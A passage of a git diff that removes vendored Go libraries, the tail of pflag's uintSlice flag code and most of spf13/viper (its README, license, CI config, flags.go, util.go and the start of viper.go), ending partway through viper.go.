*uintSliceValue) toString(val uint) string { - return fmt.Sprintf("%d", val) -} - -func (s *uintSliceValue) Append(val string) error { - i, err := s.fromString(val) - if err != nil { - return err - } - *s.value = append(*s.value, i) - return nil -} - -func (s *uintSliceValue) Replace(val []string) error { - out := make([]uint, len(val)) - for i, d := range val { - var err error - out[i], err = s.fromString(d) - if err != nil { - return err - } - } - *s.value = out - return nil -} - -func (s *uintSliceValue) GetSlice() []string { - out := make([]string, len(*s.value)) - for i, d := range *s.value { - out[i] = s.toString(d) - } - return out -} - -func uintSliceConv(val string) (interface{}, error) { - val = strings.Trim(val, "[]") - // Empty string would cause a slice with one (empty) entry - if len(val) == 0 { - return []uint{}, nil - } - ss := strings.Split(val, ",") - out := make([]uint, len(ss)) - for i, d := range ss { - u, err := strconv.ParseUint(d, 10, 0) - if err != nil { - return nil, err - } - out[i] = uint(u) - } - return out, nil -} - -// GetUintSlice returns the []uint value of a flag with the given name. -func (f *FlagSet) GetUintSlice(name string) ([]uint, error) { - val, err := f.getFlagType(name, "uintSlice", uintSliceConv) - if err != nil { - return []uint{}, err - } - return val.([]uint), nil -} - -// UintSliceVar defines a uintSlice flag with specified name, default value, and usage string. -// The argument p points to a []uint variable in which to store the value of the flag. -func (f *FlagSet) UintSliceVar(p *[]uint, name string, value []uint, usage string) { - f.VarP(newUintSliceValue(value, p), name, "", usage) -} - -// UintSliceVarP is like UintSliceVar, but accepts a shorthand letter that can be used after a single dash. -func (f *FlagSet) UintSliceVarP(p *[]uint, name, shorthand string, value []uint, usage string) { - f.VarP(newUintSliceValue(value, p), name, shorthand, usage) -} - -// UintSliceVar defines a uint[] flag with specified name, default value, and usage string. -// The argument p points to a uint[] variable in which to store the value of the flag. -func UintSliceVar(p *[]uint, name string, value []uint, usage string) { - CommandLine.VarP(newUintSliceValue(value, p), name, "", usage) -} - -// UintSliceVarP is like the UintSliceVar, but accepts a shorthand letter that can be used after a single dash. -func UintSliceVarP(p *[]uint, name, shorthand string, value []uint, usage string) { - CommandLine.VarP(newUintSliceValue(value, p), name, shorthand, usage) -} - -// UintSlice defines a []uint flag with specified name, default value, and usage string. -// The return value is the address of a []uint variable that stores the value of the flag. -func (f *FlagSet) UintSlice(name string, value []uint, usage string) *[]uint { - p := []uint{} - f.UintSliceVarP(&p, name, "", value, usage) - return &p -} - -// UintSliceP is like UintSlice, but accepts a shorthand letter that can be used after a single dash. -func (f *FlagSet) UintSliceP(name, shorthand string, value []uint, usage string) *[]uint { - p := []uint{} - f.UintSliceVarP(&p, name, shorthand, value, usage) - return &p -} - -// UintSlice defines a []uint flag with specified name, default value, and usage string. -// The return value is the address of a []uint variable that stores the value of the flag. -func UintSlice(name string, value []uint, usage string) *[]uint { - return CommandLine.UintSliceP(name, "", value, usage) -} - -// UintSliceP is like UintSlice, but accepts a shorthand letter that can be used after a single dash. -func UintSliceP(name, shorthand string, value []uint, usage string) *[]uint { - return CommandLine.UintSliceP(name, shorthand, value, usage) -} diff --git a/vendor/github.com/spf13/viper/.gitignore b/vendor/github.com/spf13/viper/.gitignore deleted file mode 100644 index 352a34a566..0000000000 --- a/vendor/github.com/spf13/viper/.gitignore +++ /dev/null @@ -1,24 +0,0 @@ -# Compiled Object files, Static and Dynamic libs (Shared Objects) -*.o -*.a -*.so - -# Folders -_obj -_test - -# Architecture specific extensions/prefixes -*.[568vq] -[568vq].out - -*.cgo1.go -*.cgo2.c -_cgo_defun.c -_cgo_gotypes.go -_cgo_export.* - -_testmain.go - -*.exe -*.test -*.bench \ No newline at end of file diff --git a/vendor/github.com/spf13/viper/.travis.yml b/vendor/github.com/spf13/viper/.travis.yml deleted file mode 100644 index f1deac3d74..0000000000 --- a/vendor/github.com/spf13/viper/.travis.yml +++ /dev/null @@ -1,27 +0,0 @@ -go_import_path: github.com/spf13/viper - -language: go -go: - - 1.7.5 - - 1.8 - - tip - -os: - - linux - - osx - -matrix: - allow_failures: - - go: tip - fast_finish: true - -script: - - go install ./... - - diff -u <(echo -n) <(gofmt -d .) - - go test -v ./... - -after_success: - - go get -u -d github.com/spf13/hugo - - cd $GOPATH/src/github.com/spf13/hugo && make && ./hugo -s docs && cd - - -sudo: false diff --git a/vendor/github.com/spf13/viper/LICENSE b/vendor/github.com/spf13/viper/LICENSE deleted file mode 100644 index 4527efb9c0..0000000000 --- a/vendor/github.com/spf13/viper/LICENSE +++ /dev/null @@ -1,21 +0,0 @@ -The MIT License (MIT) - -Copyright (c) 2014 Steve Francia - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE -SOFTWARE. \ No newline at end of file diff --git a/vendor/github.com/spf13/viper/README.md b/vendor/github.com/spf13/viper/README.md deleted file mode 100644 index 848d92d6b8..0000000000 --- a/vendor/github.com/spf13/viper/README.md +++ /dev/null @@ -1,643 +0,0 @@ -![viper logo](https://cloud.githubusercontent.com/assets/173412/10886745/998df88a-8151-11e5-9448-4736db51020d.png) - -Go configuration with fangs! - -Many Go projects are built using Viper including: - -* [Hugo](http://gohugo.io) -* [EMC RexRay](http://rexray.readthedocs.org/en/stable/) -* [Imgur’s Incus](https://github.com/Imgur/incus) -* [Nanobox](https://github.com/nanobox-io/nanobox)/[Nanopack](https://github.com/nanopack) -* [Docker Notary](https://github.com/docker/Notary) -* [BloomApi](https://www.bloomapi.com/) -* [doctl](https://github.com/digitalocean/doctl) -* [Clairctl](https://github.com/jgsqware/clairctl) - -[![Build Status](https://travis-ci.org/spf13/viper.svg)](https://travis-ci.org/spf13/viper) [![Join the chat at https://gitter.im/spf13/viper](https://badges.gitter.im/Join%20Chat.svg)](https://gitter.im/spf13/viper?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge&utm_content=badge) [![GoDoc](https://godoc.org/github.com/spf13/viper?status.svg)](https://godoc.org/github.com/spf13/viper) - - -## What is Viper? - -Viper is a complete configuration solution for Go applications including 12-Factor apps. It is designed -to work within an application, and can handle all types of configuration needs -and formats. It supports: - -* setting defaults -* reading from JSON, TOML, YAML, HCL, and Java properties config files -* live watching and re-reading of config files (optional) -* reading from environment variables -* reading from remote config systems (etcd or Consul), and watching changes -* reading from command line flags -* reading from buffer -* setting explicit values - -Viper can be thought of as a registry for all of your applications -configuration needs. - -## Why Viper? - -When building a modern application, you don’t want to worry about -configuration file formats; you want to focus on building awesome software. -Viper is here to help with that. - -Viper does the following for you: - -1. Find, load, and unmarshal a configuration file in JSON, TOML, YAML, HCL, or Java properties formats. -2. Provide a mechanism to set default values for your different - configuration options. -3. Provide a mechanism to set override values for options specified through - command line flags. -4. Provide an alias system to easily rename parameters without breaking existing - code. -5. Make it easy to tell the difference between when a user has provided a - command line or config file which is the same as the default. - -Viper uses the following precedence order. Each item takes precedence over the -item below it: - - * explicit call to Set - * flag - * env - * config - * key/value store - * default - -Viper configuration keys are case insensitive. - -## Putting Values into Viper - -### Establishing Defaults - -A good configuration system will support default values. A default value is not -required for a key, but it’s useful in the event that a key hasn’t been set via -config file, environment variable, remote configuration or flag. - -Examples: - -```go -viper.SetDefault("ContentDir", "content") -viper.SetDefault("LayoutDir", "layouts") -viper.SetDefault("Taxonomies", map[string]string{"tag": "tags", "category": "categories"}) -``` - -### Reading Config Files - -Viper requires minimal configuration so it knows where to look for config files. -Viper supports JSON, TOML, YAML, HCL, and Java Properties files. Viper can search multiple paths, but -currently a single Viper instance only supports a single configuration file. -Viper does not default to any configuration search paths leaving defaults decision -to an application. - -Here is an example of how to use Viper to search for and read a configuration file. -None of the specific paths are required, but at least one path should be provided -where a configuration file is expected. - -```go -viper.SetConfigName("config") // name of config file (without extension) -viper.AddConfigPath("/etc/appname/") // path to look for the config file in -viper.AddConfigPath("$HOME/.appname") // call multiple times to add many search paths -viper.AddConfigPath(".") // optionally look for config in the working directory -err := viper.ReadInConfig() // Find and read the config file -if err != nil { // Handle errors reading the config file - panic(fmt.Errorf("Fatal error config file: %s \n", err)) -} -``` - -### Watching and re-reading config files - -Viper supports the ability to have your application live read a config file while running. - -Gone are the days of needing to restart a server to have a config take effect, -viper powered applications can read an update to a config file while running and -not miss a beat. - -Simply tell the viper instance to watchConfig. -Optionally you can provide a function for Viper to run each time a change occurs. - -**Make sure you add all of the configPaths prior to calling `WatchConfig()`** - -```go -viper.WatchConfig() -viper.OnConfigChange(func(e fsnotify.Event) { - fmt.Println("Config file changed:", e.Name) -}) -``` - -### Reading Config from io.Reader - -Viper predefines many configuration sources such as files, environment -variables, flags, and remote K/V store, but you are not bound to them. You can -also implement your own required configuration source and feed it to viper. - -```go -viper.SetConfigType("yaml") // or viper.SetConfigType("YAML") - -// any approach to require this configuration into your program. -var yamlExample = []byte(` -Hacker: true -name: steve -hobbies: -- skateboarding -- snowboarding -- go -clothing: - jacket: leather - trousers: denim -age: 35 -eyes : brown -beard: true -`) - -viper.ReadConfig(bytes.NewBuffer(yamlExample)) - -viper.Get("name") // this would be "steve" -``` - -### Setting Overrides - -These could be from a command line flag, or from your own application logic. - -```go -viper.Set("Verbose", true) -viper.Set("LogFile", LogFile) -``` - -### Registering and Using Aliases - -Aliases permit a single value to be referenced by multiple keys - -```go -viper.RegisterAlias("loud", "Verbose") - -viper.Set("verbose", true) // same result as next line -viper.Set("loud", true) // same result as prior line - -viper.GetBool("loud") // true -viper.GetBool("verbose") // true -``` - -### Working with Environment Variables - -Viper has full support for environment variables. This enables 12 factor -applications out of the box. There are four methods that exist to aid working -with ENV: - - * `AutomaticEnv()` - * `BindEnv(string...) : error` - * `SetEnvPrefix(string)` - * `SetEnvReplacer(string...) *strings.Replacer` - -_When working with ENV variables, it’s important to recognize that Viper -treats ENV variables as case sensitive._ - -Viper provides a mechanism to try to ensure that ENV variables are unique. By -using `SetEnvPrefix`, you can tell Viper to use add a prefix while reading from -the environment variables. Both `BindEnv` and `AutomaticEnv` will use this -prefix. - -`BindEnv` takes one or two parameters. The first parameter is the key name, the -second is the name of the environment variable. The name of the environment -variable is case sensitive. If the ENV variable name is not provided, then -Viper will automatically assume that the key name matches the ENV variable name, -but the ENV variable is IN ALL CAPS. When you explicitly provide the ENV -variable name, it **does not** automatically add the prefix. - -One important thing to recognize when working with ENV variables is that the -value will be read each time it is accessed. Viper does not fix the value when -the `BindEnv` is called. - -`AutomaticEnv` is a powerful helper especially when combined with -`SetEnvPrefix`. When called, Viper will check for an environment variable any -time a `viper.Get` request is made. It will apply the following rules. It will -check for a environment variable with a name matching the key uppercased and -prefixed with the `EnvPrefix` if set. - -`SetEnvReplacer` allows you to use a `strings.Replacer` object to rewrite Env -keys to an extent. This is useful if you want to use `-` or something in your -`Get()` calls, but want your environmental variables to use `_` delimiters. An -example of using it can be found in `viper_test.go`. - -#### Env example - -```go -SetEnvPrefix("spf") // will be uppercased automatically -BindEnv("id") - -os.Setenv("SPF_ID", "13") // typically done outside of the app - -id := Get("id") // 13 -``` - -### Working with Flags - -Viper has the ability to bind to flags. Specifically, Viper supports `Pflags` -as used in the [Cobra](https://github.com/spf13/cobra) library. - -Like `BindEnv`, the value is not set when the binding method is called, but when -it is accessed. This means you can bind as early as you want, even in an -`init()` function. - -For individual flags, the `BindPFlag()` method provides this functionality. - -Example: - -```go -serverCmd.Flags().Int("port", 1138, "Port to run Application server on") -viper.BindPFlag("port", serverCmd.Flags().Lookup("port")) -``` - -You can also bind an existing set of pflags (pflag.FlagSet): - -Example: - -```go -pflag.Int("flagname", 1234, "help message for flagname") - -pflag.Parse() -viper.BindPFlags(pflag.CommandLine) - -i := viper.GetInt("flagname") // retrieve values from viper instead of pflag -``` - -The use of [pflag](https://github.com/spf13/pflag/) in Viper does not preclude -the use of other packages that use the [flag](https://golang.org/pkg/flag/) -package from the standard library. The pflag package can handle the flags -defined for the flag package by importing these flags. This is accomplished -by a calling a convenience function provided by the pflag package called -AddGoFlagSet(). - -Example: - -```go -package main - -import ( - "flag" - "github.com/spf13/pflag" -) - -func main() { - - // using standard library "flag" package - flag.Int("flagname", 1234, "help message for flagname") - - pflag.CommandLine.AddGoFlagSet(flag.CommandLine) - pflag.Parse() - viper.BindPFlags(pflag.CommandLine) - - i := viper.GetInt("flagname") // retrieve value from viper - - ... -} -``` - -#### Flag interfaces - -Viper provides two Go interfaces to bind other flag systems if you don’t use `Pflags`. - -`FlagValue` represents a single flag. This is a very simple example on how to implement this interface: - -```go -type myFlag struct {} -func (f myFlag) HasChanged() bool { return false } -func (f myFlag) Name() string { return "my-flag-name" } -func (f myFlag) ValueString() string { return "my-flag-value" } -func (f myFlag) ValueType() string { return "string" } -``` - -Once your flag implements this interface, you can simply tell Viper to bind it: - -```go -viper.BindFlagValue("my-flag-name", myFlag{}) -``` - -`FlagValueSet` represents a group of flags. This is a very simple example on how to implement this interface: - -```go -type myFlagSet struct { - flags []myFlag -} - -func (f myFlagSet) VisitAll(fn func(FlagValue)) { - for _, flag := range flags { - fn(flag) - } -} -``` - -Once your flag set implements this interface, you can simply tell Viper to bind it: - -```go -fSet := myFlagSet{ - flags: []myFlag{myFlag{}, myFlag{}}, -} -viper.BindFlagValues("my-flags", fSet) -``` - -### Remote Key/Value Store Support - -To enable remote support in Viper, do a blank import of the `viper/remote` -package: - -`import _ "github.com/spf13/viper/remote"` - -Viper will read a config string (as JSON, TOML, YAML or HCL) retrieved from a path -in a Key/Value store such as etcd or Consul. These values take precedence over -default values, but are overridden by configuration values retrieved from disk, -flags, or environment variables. - -Viper uses [crypt](https://github.com/xordataexchange/crypt) to retrieve -configuration from the K/V store, which means that you can store your -configuration values encrypted and have them automatically decrypted if you have -the correct gpg keyring. Encryption is optional. - -You can use remote configuration in conjunction with local configuration, or -independently of it. - -`crypt` has a command-line helper that you can use to put configurations in your -K/V store. `crypt` defaults to etcd on http://127.0.0.1:4001. - -```bash -$ go get github.com/xordataexchange/crypt/bin/crypt -$ crypt set -plaintext /config/hugo.json /Users/hugo/settings/config.json -``` - -Confirm that your value was set: - -```bash -$ crypt get -plaintext /config/hugo.json -``` - -See the `crypt` documentation for examples of how to set encrypted values, or -how to use Consul. - -### Remote Key/Value Store Example - Unencrypted - -```go -viper.AddRemoteProvider("etcd", "http://127.0.0.1:4001","/config/hugo.json") -viper.SetConfigType("json") // because there is no file extension in a stream of bytes, supported extensions are "json", "toml", "yaml", "yml", "properties", "props", "prop" -err := viper.ReadRemoteConfig() -``` - -### Remote Key/Value Store Example - Encrypted - -```go -viper.AddSecureRemoteProvider("etcd","http://127.0.0.1:4001","/config/hugo.json","/etc/secrets/mykeyring.gpg") -viper.SetConfigType("json") // because there is no file extension in a stream of bytes, supported extensions are "json", "toml", "yaml", "yml", "properties", "props", "prop" -err := viper.ReadRemoteConfig() -``` - -### Watching Changes in etcd - Unencrypted - -```go -// alternatively, you can create a new viper instance. -var runtime_viper = viper.New() - -runtime_viper.AddRemoteProvider("etcd", "http://127.0.0.1:4001", "/config/hugo.yml") -runtime_viper.SetConfigType("yaml") // because there is no file extension in a stream of bytes, supported extensions are "json", "toml", "yaml", "yml", "properties", "props", "prop" - -// read from remote config the first time. -err := runtime_viper.ReadRemoteConfig() - -// unmarshal config -runtime_viper.Unmarshal(&runtime_conf) - -// open a goroutine to watch remote changes forever -go func(){ - for { - time.Sleep(time.Second * 5) // delay after each request - - // currently, only tested with etcd support - err := runtime_viper.WatchRemoteConfig() - if err != nil { - log.Errorf("unable to read remote config: %v", err) - continue - } - - // unmarshal new config into our runtime config struct. you can also use channel - // to implement a signal to notify the system of the changes - runtime_viper.Unmarshal(&runtime_conf) - } -}() -``` - -## Getting Values From Viper - -In Viper, there are a few ways to get a value depending on the value’s type. -The following functions and methods exist: - - * `Get(key string) : interface{}` - * `GetBool(key string) : bool` - * `GetFloat64(key string) : float64` - * `GetInt(key string) : int` - * `GetString(key string) : string` - * `GetStringMap(key string) : map[string]interface{}` - * `GetStringMapString(key string) : map[string]string` - * `GetStringSlice(key string) : []string` - * `GetTime(key string) : time.Time` - * `GetDuration(key string) : time.Duration` - * `IsSet(key string) : bool` - -One important thing to recognize is that each Get function will return a zero -value if it’s not found. To check if a given key exists, the `IsSet()` method -has been provided. - -Example: -```go -viper.GetString("logfile") // case-insensitive Setting & Getting -if viper.GetBool("verbose") { - fmt.Println("verbose enabled") -} -``` -### Accessing nested keys - -The accessor methods also accept formatted paths to deeply nested keys. For -example, if the following JSON file is loaded: - -```json -{ - "host": { - "address": "localhost", - "port": 5799 - }, - "datastore": { - "metric": { - "host": "127.0.0.1", - "port": 3099 - }, - "warehouse": { - "host": "198.0.0.1", - "port": 2112 - } - } -} - -``` - -Viper can access a nested field by passing a `.` delimited path of keys: - -```go -GetString("datastore.metric.host") // (returns "127.0.0.1") -``` - -This obeys the precedence rules established above; the search for the path -will cascade through the remaining configuration registries until found. - -For example, given this configuration file, both `datastore.metric.host` and -`datastore.metric.port` are already defined (and may be overridden). If in addition -`datastore.metric.protocol` was defined in the defaults, Viper would also find it. - -However, if `datastore.metric` was overridden (by a flag, an environment variable, -the `Set()` method, â€Ļ) with an immediate value, then all sub-keys of -`datastore.metric` become undefined, they are “shadowed” by the higher-priority -configuration level. - -Lastly, if there exists a key that matches the delimited key path, its value -will be returned instead. E.g. - -```json -{ - "datastore.metric.host": "0.0.0.0", - "host": { - "address": "localhost", - "port": 5799 - }, - "datastore": { - "metric": { - "host": "127.0.0.1", - "port": 3099 - }, - "warehouse": { - "host": "198.0.0.1", - "port": 2112 - } - } -} - -GetString("datastore.metric.host") // returns "0.0.0.0" -``` - -### Extract sub-tree - -Extract sub-tree from Viper. - -For example, `viper` represents: - -```json -app: - cache1: - max-items: 100 - item-size: 64 - cache2: - max-items: 200 - item-size: 80 -``` - -After executing: - -```go -subv := viper.Sub("app.cache1") -``` - -`subv` represents: - -```json -max-items: 100 -item-size: 64 -``` - -Suppose we have: - -```go -func NewCache(cfg *Viper) *Cache {...} -``` - -which creates a cache based on config information formatted as `subv`. -Now it’s easy to create these 2 caches separately as: - -```go -cfg1 := viper.Sub("app.cache1") -cache1 := NewCache(cfg1) - -cfg2 := viper.Sub("app.cache2") -cache2 := NewCache(cfg2) -``` - -### Unmarshaling - -You also have the option of Unmarshaling all or a specific value to a struct, map, -etc. - -There are two methods to do this: - - * `Unmarshal(rawVal interface{}) : error` - * `UnmarshalKey(key string, rawVal interface{}) : error` - -Example: - -```go -type config struct { - Port int - Name string - PathMap string `mapstructure:"path_map"` -} - -var C config - -err := Unmarshal(&C) -if err != nil { - t.Fatalf("unable to decode into struct, %v", err) -} -``` - -## Viper or Vipers? - -Viper comes ready to use out of the box. There is no configuration or -initialization needed to begin using Viper. Since most applications will want -to use a single central repository for their configuration, the viper package -provides this. It is similar to a singleton. - -In all of the examples above, they demonstrate using viper in its singleton -style approach. - -### Working with multiple vipers - -You can also create many different vipers for use in your application. Each will -have its own unique set of configurations and values. Each can read from a -different config file, key value store, etc. All of the functions that viper -package supports are mirrored as methods on a viper. - -Example: - -```go -x := viper.New() -y := viper.New() - -x.SetDefault("ContentDir", "content") -y.SetDefault("ContentDir", "foobar") - -//... -``` - -When working with multiple vipers, it is up to the user to keep track of the -different vipers. - -## Q & A - -Q: Why not INI files? - -A: Ini files are pretty awful. There’s no standard format, and they are hard to -validate. Viper is designed to work with JSON, TOML or YAML files. If someone -really wants to add this feature, I’d be happy to merge it. It’s easy to specify -which formats your application will permit. - -Q: Why is it called “Viper”? - -A: Viper is designed to be a [companion](http://en.wikipedia.org/wiki/Viper_(G.I._Joe)) -to [Cobra](https://github.com/spf13/cobra). While both can operate completely -independently, together they make a powerful pair to handle much of your -application foundation needs. - -Q: Why is it called “Cobra”? - -A: Is there a better name for a [commander](http://en.wikipedia.org/wiki/Cobra_Commander)? diff --git a/vendor/github.com/spf13/viper/flags.go b/vendor/github.com/spf13/viper/flags.go deleted file mode 100644 index dd32f4e1c2..0000000000 --- a/vendor/github.com/spf13/viper/flags.go +++ /dev/null @@ -1,57 +0,0 @@ -package viper - -import "github.com/spf13/pflag" - -// FlagValueSet is an interface that users can implement -// to bind a set of flags to viper. -type FlagValueSet interface { - VisitAll(fn func(FlagValue)) -} - -// FlagValue is an interface that users can implement -// to bind different flags to viper. -type FlagValue interface { - HasChanged() bool - Name() string - ValueString() string - ValueType() string -} - -// pflagValueSet is a wrapper around *pflag.ValueSet -// that implements FlagValueSet. -type pflagValueSet struct { - flags *pflag.FlagSet -} - -// VisitAll iterates over all *pflag.Flag inside the *pflag.FlagSet. -func (p pflagValueSet) VisitAll(fn func(flag FlagValue)) { - p.flags.VisitAll(func(flag *pflag.Flag) { - fn(pflagValue{flag}) - }) -} - -// pflagValue is a wrapper aroung *pflag.flag -// that implements FlagValue -type pflagValue struct { - flag *pflag.Flag -} - -// HasChanges returns whether the flag has changes or not. -func (p pflagValue) HasChanged() bool { - return p.flag.Changed -} - -// Name returns the name of the flag. -func (p pflagValue) Name() string { - return p.flag.Name -} - -// ValueString returns the value of the flag as a string. -func (p pflagValue) ValueString() string { - return p.flag.Value.String() -} - -// ValueType returns the type of the flag as a string. -func (p pflagValue) ValueType() string { - return p.flag.Value.Type() -} diff --git a/vendor/github.com/spf13/viper/nohup.out b/vendor/github.com/spf13/viper/nohup.out deleted file mode 100644 index 8973bf27b5..0000000000 --- a/vendor/github.com/spf13/viper/nohup.out +++ /dev/null @@ -1 +0,0 @@ -QProcess::start: Process is already running diff --git a/vendor/github.com/spf13/viper/util.go b/vendor/github.com/spf13/viper/util.go deleted file mode 100644 index 3ebada91ab..0000000000 --- a/vendor/github.com/spf13/viper/util.go +++ /dev/null @@ -1,282 +0,0 @@ -// Copyright Š 2014 Steve Francia . -// -// Use of this source code is governed by an MIT-style -// license that can be found in the LICENSE file. - -// Viper is a application configuration system. -// It believes that applications can be configured a variety of ways -// via flags, ENVIRONMENT variables, configuration files retrieved -// from the file system, or a remote key/value store. - -package viper - -import ( - "bytes" - "encoding/json" - "fmt" - "io" - "os" - "path/filepath" - "runtime" - "strings" - "unicode" - - "github.com/hashicorp/hcl" - "github.com/magiconair/properties" - toml "github.com/pelletier/go-toml" - "github.com/spf13/cast" - jww "github.com/spf13/jwalterweatherman" - "gopkg.in/yaml.v2" -) - -// ConfigParseError denotes failing to parse configuration file. -type ConfigParseError struct { - err error -} - -// Error returns the formatted configuration error. -func (pe ConfigParseError) Error() string { - return fmt.Sprintf("While parsing config: %s", pe.err.Error()) -} - -// toCaseInsensitiveValue checks if the value is a map; -// if so, create a copy and lower-case the keys recursively. -func toCaseInsensitiveValue(value interface{}) interface{} { - switch v := value.(type) { - case map[interface{}]interface{}: - value = copyAndInsensitiviseMap(cast.ToStringMap(v)) - case map[string]interface{}: - value = copyAndInsensitiviseMap(v) - } - - return value -} - -// copyAndInsensitiviseMap behaves like insensitiviseMap, but creates a copy of -// any map it makes case insensitive. -func copyAndInsensitiviseMap(m map[string]interface{}) map[string]interface{} { - nm := make(map[string]interface{}) - - for key, val := range m { - lkey := strings.ToLower(key) - switch v := val.(type) { - case map[interface{}]interface{}: - nm[lkey] = copyAndInsensitiviseMap(cast.ToStringMap(v)) - case map[string]interface{}: - nm[lkey] = copyAndInsensitiviseMap(v) - default: - nm[lkey] = v - } - } - - return nm -} - -func insensitiviseMap(m map[string]interface{}) { - for key, val := range m { - switch val.(type) { - case map[interface{}]interface{}: - // nested map: cast and recursively insensitivise - val = cast.ToStringMap(val) - insensitiviseMap(val.(map[string]interface{})) - case map[string]interface{}: - // nested map: recursively insensitivise - insensitiviseMap(val.(map[string]interface{})) - } - - lower := strings.ToLower(key) - if key != lower { - // remove old key (not lower-cased) - delete(m, key) - } - // update map - m[lower] = val - } -} - -func absPathify(inPath string) string { - jww.INFO.Println("Trying to resolve absolute path to", inPath) - - if strings.HasPrefix(inPath, "$HOME") { - inPath = userHomeDir() + inPath[5:] - } - - if strings.HasPrefix(inPath, "$") { - end := strings.Index(inPath, string(os.PathSeparator)) - inPath = os.Getenv(inPath[1:end]) + inPath[end:] - } - - if filepath.IsAbs(inPath) { - return filepath.Clean(inPath) - } - - p, err := filepath.Abs(inPath) - if err == nil { - return filepath.Clean(p) - } - - jww.ERROR.Println("Couldn't discover absolute path") - jww.ERROR.Println(err) - return "" -} - -// Check if File / Directory Exists -func exists(path string) (bool, error) { - _, err := v.fs.Stat(path) - if err == nil { - return true, nil - } - if os.IsNotExist(err) { - return false, nil - } - return false, err -} - -func stringInSlice(a string, list []string) bool { - for _, b := range list { - if b == a { - return true - } - } - return false -} - -func userHomeDir() string { - if runtime.GOOS == "windows" { - home := os.Getenv("HOMEDRIVE") + os.Getenv("HOMEPATH") - if home == "" { - home = os.Getenv("USERPROFILE") - } - return home - } - return os.Getenv("HOME") -} - -func unmarshallConfigReader(in io.Reader, c map[string]interface{}, configType string) error { - buf := new(bytes.Buffer) - buf.ReadFrom(in) - - switch strings.ToLower(configType) { - case "yaml", "yml": - if err := yaml.Unmarshal(buf.Bytes(), &c); err != nil { - return ConfigParseError{err} - } - - case "json": - if err := json.Unmarshal(buf.Bytes(), &c); err != nil { - return ConfigParseError{err} - } - - case "hcl": - obj, err := hcl.Parse(string(buf.Bytes())) - if err != nil { - return ConfigParseError{err} - } - if err = hcl.DecodeObject(&c, obj); err != nil { - return ConfigParseError{err} - } - - case "toml": - tree, err := toml.LoadReader(buf) - if err != nil { - return ConfigParseError{err} - } - tmap := tree.ToMap() - for k, v := range tmap { - c[k] = v - } - - case "properties", "props", "prop": - var p *properties.Properties - var err error - if p, err = properties.Load(buf.Bytes(), properties.UTF8); err != nil { - return ConfigParseError{err} - } - for _, key := range p.Keys() { - value, _ := p.Get(key) - // recursively build nested maps - path := strings.Split(key, ".") - lastKey := strings.ToLower(path[len(path)-1]) - deepestMap := deepSearch(c, path[0:len(path)-1]) - // set innermost value - deepestMap[lastKey] = value - } - } - - insensitiviseMap(c) - return nil -} - -func safeMul(a, b uint) uint { - c := a * b - if a > 1 && b > 1 && c/b != a { - return 0 - } - return c -} - -// parseSizeInBytes converts strings like 1GB or 12 mb into an unsigned integer number of bytes -func parseSizeInBytes(sizeStr string) uint { - sizeStr = strings.TrimSpace(sizeStr) - lastChar := len(sizeStr) - 1 - multiplier := uint(1) - - if lastChar > 0 { - if sizeStr[lastChar] == 'b' || sizeStr[lastChar] == 'B' { - if lastChar > 1 { - switch unicode.ToLower(rune(sizeStr[lastChar-1])) { - case 'k': - multiplier = 1 << 10 - sizeStr = strings.TrimSpace(sizeStr[:lastChar-1]) - case 'm': - multiplier = 1 << 20 - sizeStr = strings.TrimSpace(sizeStr[:lastChar-1]) - case 'g': - multiplier = 1 << 30 - sizeStr = strings.TrimSpace(sizeStr[:lastChar-1]) - default: - multiplier = 1 - sizeStr = strings.TrimSpace(sizeStr[:lastChar]) - } - } - } - } - - size := cast.ToInt(sizeStr) - if size < 0 { - size = 0 - } - - return safeMul(uint(size), multiplier) -} - -// deepSearch scans deep maps, following the key indexes listed in the -// sequence "path". -// The last value is expected to be another map, and is returned. -// -// In case intermediate keys do not exist, or map to a non-map value, -// a new map is created and inserted, and the search continues from there: -// the initial map "m" may be modified! -func deepSearch(m map[string]interface{}, path []string) map[string]interface{} { - for _, k := range path { - m2, ok := m[k] - if !ok { - // intermediate key does not exist - // => create it and continue from there - m3 := make(map[string]interface{}) - m[k] = m3 - m = m3 - continue - } - m3, ok := m2.(map[string]interface{}) - if !ok { - // intermediate key is a value - // => replace with a new map - m3 = make(map[string]interface{}) - m[k] = m3 - } - // continue search from here - m = m3 - } - return m -} diff --git a/vendor/github.com/spf13/viper/viper.go b/vendor/github.com/spf13/viper/viper.go deleted file mode 100644 index 2a221e53cb..0000000000 --- a/vendor/github.com/spf13/viper/viper.go +++ /dev/null @@ -1,1571 +0,0 @@ -// Copyright Š 2014 Steve Francia . -// -// Use of this source code is governed by an MIT-style -// license that can be found in the LICENSE file. - -// Viper is a application configuration system. -// It believes that applications can be configured a variety of ways -// via flags, ENVIRONMENT variables, configuration files retrieved -// from the file system, or a remote key/value store. - -// Each item takes precedence over the item below it: - -// overrides -// flag -// env -// config -// key/value store -// default - -package viper - -import ( - "bytes" - "encoding/csv" - "fmt" - "io" - "log" - "os" - "path/filepath" - "reflect" - "strings" - "time" - - "github.com/fsnotify/fsnotify" - "github.com/mitchellh/mapstructure" - "github.com/spf13/afero" - "github.com/spf13/cast" - jww "github.com/spf13/jwalterweatherman" - "github.com/spf13/pflag" -) - -var v *Viper - -type RemoteResponse struct { - Value []byte - Error error -} - -func init() { - v = New() -} - -type remoteConfigFactory interface { - Get(rp RemoteProvider) (io.Reader, error) - Watch(rp RemoteProvider) (io.Reader, error) - WatchChannel(rp RemoteProvider) (<-chan *RemoteResponse, chan bool) -} - -// RemoteConfig is optional, see the remote package -var RemoteConfig remoteConfigFactory - -// UnsupportedConfigError denotes encountering an unsupported -// configuration filetype. -type UnsupportedConfigError string - -// Error returns the formatted configuration error. -func (str UnsupportedConfigError) Error() string { - return 